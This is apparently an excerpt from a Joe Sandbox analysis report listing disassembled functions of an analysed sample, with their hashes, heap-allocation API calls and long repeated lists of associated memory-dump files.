Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Heap$AllocateCreate
String ID: e&&$e&&
API String ID: 2875408731-2869540808
Opcode ID: c38626fc5f69045d45ff17fa9f9ecddb1e320ecc59edff691afbae0962d82381
Instruction ID: 53c2b35cd8fbf5b004ebe701a00fda35a74e4867eda97ad0d49ce5bf0dcde790
Opcode Fuzzy Hash: c38626fc5f69045d45ff17fa9f9ecddb1e320ecc59edff691afbae0962d82381
Instruction Fuzzy Hash: 5642FD77D103208FDB58EF75ED8A56A37A2FB80314342932AE842D7566DFBC5D428B81

Function 00A6A43F Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 661
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32(00000000,-53D3AC81,-00000002725EB286), ref: 00A6A84B
RtlAllocateHeap.NTDLL(00000000,?,-0000000285FDB18E), ref: 00A6AC42

Strings

e&&, xrefs: 00A6AE7B
e&&, xrefs: 00A6A551

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Heap$AllocateCreate
String ID: e&&$e&&
API String ID: 2875408731-2869540808
Opcode ID: 2dde398b34c480c33d9ce6749d33722228516ce45a177ae5691a26eb550f0f8e
Instruction ID: 5088b79b529b2cf9bb7e02be550b9dc9fc29ad196a6b016936e925ea6c572267
Opcode Fuzzy Hash: 2dde398b34c480c33d9ce6749d33722228516ce45a177ae5691a26eb550f0f8e
Instruction Fuzzy Hash: EB32EF77D103208FDB58EF75ED9A16A37A2FB80314342932AE842D7566DFBC5D428B81

Function 00A6A6C2 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32(00000000,-53D3AC81,-00000002725EB286), ref: 00A6A84B
RtlAllocateHeap.NTDLL(00000000,?,-0000000285FDB18E), ref: 00A6AC42

Strings

e&&, xrefs: 00A6AE7B

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Heap$AllocateCreate
String ID: e&&
API String ID: 2875408731-2693715456
Opcode ID: 0b475fd25180d3258c4bc44914cbc398d2b02ad7f5ae007ccf8a3a1784156476
Instruction ID: fb4f3e6c3b6133d339976d14afc69f5648888da7a3ed08979ff096247c879bb1
Opcode Fuzzy Hash: 0b475fd25180d3258c4bc44914cbc398d2b02ad7f5ae007ccf8a3a1784156476
Instruction Fuzzy Hash: E822EC77D143208FDB58EF75ED8656A37A2FB80314342832AE882D7566DFBC5C468B81

Function 00A6A8EA Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 354
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,-0000000285FDB18E), ref: 00A6AC42

Strings

e&&, xrefs: 00A6AE7B

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000109A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000010E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000111B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001127000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001160000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000116C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011A5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000011F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000123B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001276000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000012C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001300000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000130A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001345000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001358000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001397000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001399000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000139B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000013EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001401000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001428000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000142A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001432000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000146D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.00000000014E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001746000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: AllocateHeap
String ID: e&&
API String ID: 1279760036-2693715456
Opcode ID: a63ec2b20ff8bca078d9bc576f74d1bb7a4da13543534c6949468dcfb2e244af
Instruction ID: 8d0a8dead126d5ba16eed158705ad22ddbf13137f5ac092c4490fb019b1dfde3
Opcode Fuzzy Hash: a63ec2b20ff8bca078d9bc576f74d1bb7a4da13543534c6949468dcfb2e244af
Instruction Fuzzy Hash: EAC1FE73D103208FDB58EF75ED8656A37A2F790314342833AE882A7866DFBC5D458B81

Function 00A6A94F Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 329
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,-0000000285FDB18E), ref: 00A6AC42

Strings

e&&, xrefs: 00A6AE7B

Memory Dump Source

Source File: 00000000.00000002.1937304666.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1937282332.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937425066.0000000000B4E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937465933.0000000000BA4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937483094.0000000000BA5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937499092.0000000000BA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937515414.0000000000BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937531815.0000000000BB6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000BB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DCE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E1C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000E65000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EA6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EB1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000EDF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F22000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000F69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FAD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000000FC7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001005000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001007000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.000000000104F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1937567224.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
